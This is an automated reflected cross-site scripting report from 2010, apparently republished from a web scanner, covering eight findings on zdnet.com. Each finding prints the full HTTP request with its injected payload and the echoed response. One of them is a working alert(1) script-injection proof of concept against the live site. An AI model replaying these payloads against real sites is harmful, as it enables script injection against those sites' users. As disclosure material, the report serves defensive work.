Report generated by XSS.CX at Sun Nov 21 16:57:57 CST 2010.

Cross Site Scripting Reports | Hoyt LLC Research

1. Cross-site scripting (reflected)

1.1. http://www.zdnet.com/blog/computers/micro-center-beats-intels-deal-offers-its-64gb-ssd-for-just-9999-/4283 [REST URL parameter 4]

1.2. http://www.zdnet.com/blog/microsoft/rss [REST URL parameter 3]

1.3. http://www.zdnet.com/search [REST URL parameter 1]

1.4. http://www.zdnet.com/ [Referer HTTP header]

1.5. http://www.zdnet.com/blog/computers/micro-center-beats-intels-deal-offers-its-64gb-ssd-for-just-9999-/4283 [Referer HTTP header]

1.6. http://www.zdnet.com/blog/computers/micro-center-beats-intels-deal-offers-its-64gb-ssd-for-just-9999-/4283 [Referer HTTP header]

1.7. http://www.zdnet.com/search [Referer HTTP header]

1.8. http://www.zdnet.com/search [Referer HTTP header]


1. Cross-site scripting (reflected)
There are 8 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.zdnet.com/blog/computers/micro-center-beats-intels-deal-offers-its-64gb-ssd-for-just-9999-/4283 [REST URL parameter 4]  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.zdnet.com
Path:   /blog/computers/micro-center-beats-intels-deal-offers-its-64gb-ssd-for-just-9999-/4283

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d10a9'%3bdf7c136c81d was submitted in the REST URL parameter 4. This input was echoed as d10a9';df7c136c81d in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /blog/computers/micro-center-beats-intels-deal-offers-its-64gb-ssd-for-just-9999-/4283d10a9'%3bdf7c136c81d HTTP/1.1
Host: www.zdnet.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 21 Nov 2010 21:36:45 GMT
Server: Apache
Set-Cookie: geo-data=%7B%22region%22%3A%22tx%22%2C%22connectionspeed%22%3A%22broadband%22%2C%22regionconf%22%3A%224%22%2C%22metrocode%22%3A%22618%22%2C%22longittude%22%3A%22-95.363%22%2C%22countrycode%22%3A%22840%22%2C%22continentcode%22%3A%226%22%2C%22countryconf%22%3A%225%22%2C%22country%22%3A%22usa%22%2C%22city%22%3A%22houston%22%2C%22cityconf%22%3A%223%22%2C%22citycode%22%3A%2218%22%2C%22domain%22%3A%22BNET%22%2C%22regioncode%22%3A%2244%22%2C%22latitude%22%3A%2229.763%22%7D; expires=Mon, 21-Nov-2011 21:36:45 GMT; path=/; domain=.zdnet.com
Keep-Alive: timeout=15, max=995
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 96969

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<me
...[SNIP]...
<script type="text/javascript">
(function() {
var toolbar = new CNB.Toolbar('toolbar-192487', {
'cid': '192487',
'serviceCid': 'desktop_4283d10a9';df7c136c81d',
'title': 'Micro Center beats Intel&#039;s deal, offers its 64GB SSD for just $99.99',
'summary': 'Intel has slashed prices on its mainstream solid state drives, but Micro Center has
...[SNIP]...
1.2. http://www.zdnet.com/blog/microsoft/rss [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.zdnet.com
Path:   /blog/microsoft/rss

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f2730"><script>alert(1)</script>a93be0ef7e9 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/microsoft/rssf2730"><script>alert(1)</script>a93be0ef7e9?tag=mantle_skin;content HTTP/1.1
Host: www.zdnet.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 21 Nov 2010 21:32:55 GMT
Server: Apache
Set-Cookie: geo-data=%7B%22region%22%3A%22tx%22%2C%22connectionspeed%22%3A%22broadband%22%2C%22regionconf%22%3A%224%22%2C%22metrocode%22%3A%22618%22%2C%22longittude%22%3A%22-95.363%22%2C%22countrycode%22%3A%22840%22%2C%22continentcode%22%3A%226%22%2C%22countryconf%22%3A%225%22%2C%22country%22%3A%22usa%22%2C%22city%22%3A%22houston%22%2C%22cityconf%22%3A%223%22%2C%22citycode%22%3A%2218%22%2C%22domain%22%3A%22BNET%22%2C%22regioncode%22%3A%2244%22%2C%22latitude%22%3A%2229.763%22%7D; expires=Mon, 21-Nov-2011 21:32:55 GMT; path=/; domain=.zdnet.com
Keep-Alive: timeout=15, max=996
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 115291

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<me
...[SNIP]...
<link rel="canonical" href="http://www.zdnet.com/blog/microsoft/rssf2730"><script>alert(1)</script>a93be0ef7e9" />
...[SNIP]...
1.3. http://www.zdnet.com/search [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.zdnet.com
Path:   /search

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8efef"><a>e12d9ec9b08 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /search8efef"><a>e12d9ec9b08?t=1&mode=rss HTTP/1.1
Host: www.zdnet.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sun, 21 Nov 2010 21:32:40 GMT
Server: Apache
Set-Cookie: geo-data=%7B%22region%22%3A%22tx%22%2C%22connectionspeed%22%3A%22broadband%22%2C%22regionconf%22%3A%224%22%2C%22metrocode%22%3A%22618%22%2C%22longittude%22%3A%22-95.363%22%2C%22countrycode%22%3A%22840%22%2C%22continentcode%22%3A%226%22%2C%22countryconf%22%3A%225%22%2C%22country%22%3A%22usa%22%2C%22city%22%3A%22houston%22%2C%22cityconf%22%3A%223%22%2C%22citycode%22%3A%2218%22%2C%22domain%22%3A%22BNET%22%2C%22regioncode%22%3A%2244%22%2C%22latitude%22%3A%2229.763%22%7D; expires=Mon, 21-Nov-2011 21:32:40 GMT; path=/; domain=.zdnet.com
Status: 404 Not Found
Keep-Alive: timeout=15, max=994
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 41330

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<me
...[SNIP]...
<link rel="canonical" href="http://www.zdnet.com/search8efef"><a>e12d9ec9b08?t=1&mode=rss" />
...[SNIP]...
1.4. http://www.zdnet.com/ [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.zdnet.com
Path:   /

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e6e05"><a>57a82352eda was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET / HTTP/1.1
Host: www.zdnet.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: e6e05"><a>57a82352eda

Response

HTTP/1.1 200 OK
Date: Sun, 21 Nov 2010 21:32:53 GMT
Server: Apache
Set-Cookie: geo-data=%7B%22region%22%3A%22tx%22%2C%22connectionspeed%22%3A%22broadband%22%2C%22regionconf%22%3A%224%22%2C%22metrocode%22%3A%22618%22%2C%22longittude%22%3A%22-95.363%22%2C%22countrycode%22%3A%22840%22%2C%22continentcode%22%3A%226%22%2C%22countryconf%22%3A%225%22%2C%22country%22%3A%22usa%22%2C%22city%22%3A%22houston%22%2C%22cityconf%22%3A%223%22%2C%22citycode%22%3A%2218%22%2C%22domain%22%3A%22BNET%22%2C%22regioncode%22%3A%2244%22%2C%22latitude%22%3A%2229.763%22%7D; expires=Mon, 21-Nov-2011 21:32:53 GMT; path=/; domain=.zdnet.com
Keep-Alive: timeout=15, max=998
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 109576

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<me
...[SNIP]...
/adlog.com.com/adlog/i/r=6455&amp;sg=1815&amp;o=10%253A&amp;h=cn&amp;p=&amp;b=2&amp;l=&amp;site=2&amp;pt=2000&amp;nd=10&amp;pid=&amp;cid=0&amp;pp=100&amp;e=&amp;rqid=00c13-ad-e3:4CE9469D511210&amp;orh=e6e05"><a>57a82352eda&amp;ort=&amp;oepartner=&amp;epartner=&amp;ppartner=&amp;pdom=e6e05">
...[SNIP]...
1.5. http://www.zdnet.com/blog/computers/micro-center-beats-intels-deal-offers-its-64gb-ssd-for-just-9999-/4283 [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.zdnet.com
Path:   /blog/computers/micro-center-beats-intels-deal-offers-its-64gb-ssd-for-just-9999-/4283

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 74336"><a>4a81cf23a9d was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /blog/computers/micro-center-beats-intels-deal-offers-its-64gb-ssd-for-just-9999-/4283 HTTP/1.1
Host: www.zdnet.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: 74336"><a>4a81cf23a9d

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 21 Nov 2010 21:34:05 GMT
Server: Apache
Set-Cookie: geo-data=%7B%22region%22%3A%22tx%22%2C%22connectionspeed%22%3A%22broadband%22%2C%22regionconf%22%3A%224%22%2C%22metrocode%22%3A%22618%22%2C%22longittude%22%3A%22-95.363%22%2C%22countrycode%22%3A%22840%22%2C%22continentcode%22%3A%226%22%2C%22countryconf%22%3A%225%22%2C%22country%22%3A%22usa%22%2C%22city%22%3A%22houston%22%2C%22cityconf%22%3A%223%22%2C%22citycode%22%3A%2218%22%2C%22domain%22%3A%22BNET%22%2C%22regioncode%22%3A%2244%22%2C%22latitude%22%3A%2229.763%22%7D; expires=Mon, 21-Nov-2011 21:34:05 GMT; path=/; domain=.zdnet.com
Keep-Alive: timeout=15, max=1000
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 108251

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<me
...[SNIP]...
/r=8041&amp;sg=470116&amp;o=6037%253A13616%253A&amp;h=cn&amp;p=&amp;b=2&amp;l=&amp;site=2&amp;pt=2100&amp;nd=13616&amp;pid=&amp;cid=192487&amp;pp=100&amp;e=&amp;rqid=00c13-ad-e2:4CE97CD8161260&amp;orh=74336"><a>4a81cf23a9d&amp;oepartner=&amp;epartner=&amp;ppartner=&amp;pdom=74336">
...[SNIP]...
1.6. http://www.zdnet.com/blog/computers/micro-center-beats-intels-deal-offers-its-64gb-ssd-for-just-9999-/4283 [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.zdnet.com
Path:   /blog/computers/micro-center-beats-intels-deal-offers-its-64gb-ssd-for-just-9999-/4283

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a58b2"><a>f6d26512e03 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /blog/computers/micro-center-beats-intels-deal-offers-its-64gb-ssd-for-just-9999-/4283 HTTP/1.1
Host: www.zdnet.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: a58b2"><a>f6d26512e03

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 21 Nov 2010 21:33:22 GMT
Server: Apache
Set-Cookie: geo-data=%7B%22region%22%3A%22tx%22%2C%22connectionspeed%22%3A%22broadband%22%2C%22regionconf%22%3A%224%22%2C%22metrocode%22%3A%22618%22%2C%22longittude%22%3A%22-95.363%22%2C%22countrycode%22%3A%22840%22%2C%22continentcode%22%3A%226%22%2C%22countryconf%22%3A%225%22%2C%22country%22%3A%22usa%22%2C%22city%22%3A%22houston%22%2C%22cityconf%22%3A%223%22%2C%22citycode%22%3A%2218%22%2C%22domain%22%3A%22BNET%22%2C%22regioncode%22%3A%2244%22%2C%22latitude%22%3A%2229.763%22%7D; expires=Mon, 21-Nov-2011 21:33:22 GMT; path=/; domain=.zdnet.com
Keep-Alive: timeout=15, max=992
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 109147

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<me
...[SNIP]...
/i/r=7005&amp;sg=1815&amp;o=6037%253A13616%253A&amp;h=cn&amp;p=&amp;b=2&amp;l=&amp;site=2&amp;pt=2100&amp;nd=13616&amp;pid=&amp;cid=192487&amp;pp=100&amp;e=&amp;rqid=00c13-ad-e6:4CE95DD638835F&amp;orh=a58b2"><a>f6d26512e03&amp;ort=&amp;oepartner=&amp;epartner=&amp;ppartner=&amp;pdom=a58b2">
...[SNIP]...
1.7. http://www.zdnet.com/search [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.zdnet.com
Path:   /search

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 35936"><a>f54325b105e was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /search HTTP/1.1
Host: www.zdnet.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: 35936"><a>f54325b105e

Response

HTTP/1.1 200 OK
Date: Sun, 21 Nov 2010 21:32:58 GMT
Server: Apache
Set-Cookie: geo-data=%7B%22region%22%3A%22tx%22%2C%22connectionspeed%22%3A%22broadband%22%2C%22regionconf%22%3A%224%22%2C%22metrocode%22%3A%22618%22%2C%22longittude%22%3A%22-95.363%22%2C%22countrycode%22%3A%22840%22%2C%22continentcode%22%3A%226%22%2C%22countryconf%22%3A%225%22%2C%22country%22%3A%22usa%22%2C%22city%22%3A%22houston%22%2C%22cityconf%22%3A%223%22%2C%22citycode%22%3A%2218%22%2C%22domain%22%3A%22BNET%22%2C%22regioncode%22%3A%2244%22%2C%22latitude%22%3A%2229.763%22%7D; expires=Mon, 21-Nov-2011 21:32:58 GMT; path=/; domain=.zdnet.com
Keep-Alive: timeout=15, max=992
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 94702

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<me
...[SNIP]...
://adlog.com.com/adlog/i/r=7005&amp;sg=1815&amp;o=5%253A&amp;h=cn&amp;p=&amp;b=2&amp;l=&amp;site=2&amp;pt=2448&amp;nd=5&amp;pid=&amp;cid=0&amp;pp=100&amp;e=&amp;rqid=01c13-ad-e6:4CE9476F5028EC&amp;orh=35936"><a>f54325b105e&amp;ort=&amp;oepartner=&amp;epartner=&amp;ppartner=&amp;pdom=35936">
...[SNIP]...
1.8. http://www.zdnet.com/search [Referer HTTP header]  previous

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.zdnet.com
Path:   /search

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e7797"><a>311d03eabfd was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /search HTTP/1.1
Host: www.zdnet.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: e7797"><a>311d03eabfd

Response

HTTP/1.1 200 OK
Date: Sun, 21 Nov 2010 21:33:18 GMT
Server: Apache
Set-Cookie: geo-data=%7B%22region%22%3A%22tx%22%2C%22connectionspeed%22%3A%22broadband%22%2C%22regionconf%22%3A%224%22%2C%22metrocode%22%3A%22618%22%2C%22longittude%22%3A%22-95.363%22%2C%22countrycode%22%3A%22840%22%2C%22continentcode%22%3A%226%22%2C%22countryconf%22%3A%225%22%2C%22country%22%3A%22usa%22%2C%22city%22%3A%22houston%22%2C%22cityconf%22%3A%223%22%2C%22citycode%22%3A%2218%22%2C%22domain%22%3A%22BNET%22%2C%22regioncode%22%3A%2244%22%2C%22latitude%22%3A%2229.763%22%7D; expires=Mon, 21-Nov-2011 21:33:18 GMT; path=/; domain=.zdnet.com
Keep-Alive: timeout=15, max=999
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 85985

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<me
...[SNIP]...
p;ASSET_HOST=adimg.zdnet.com&amp;PTYPE=2448&amp;CNET-ONTOLOGY-NODE-ID=5&amp;&amp;CID=0&amp;&amp;POS=100&amp;ENG:DATETIME=2010.11.21.16.33.21&amp;SYS:RQID=01c13-ad-e2:4CE93283660D1C&amp;&amp;REFER_HOST=e7797"><a>311d03eabfd&amp;&amp;&amp;&amp;&amp;&amp;CNET-PAGE-GUID=41WLxAoPOUcAAAKJ6coAAAAJ&amp;adfile=10828/11/465564_wc.ca" width="300" height="250" marginwidth="0" marginheight="0" hspace="0" vspace="0" frameborder="0" s
...[SNIP]...
Report generated by XSS.CX at Sun Nov 21 16:57:57 CST 2010.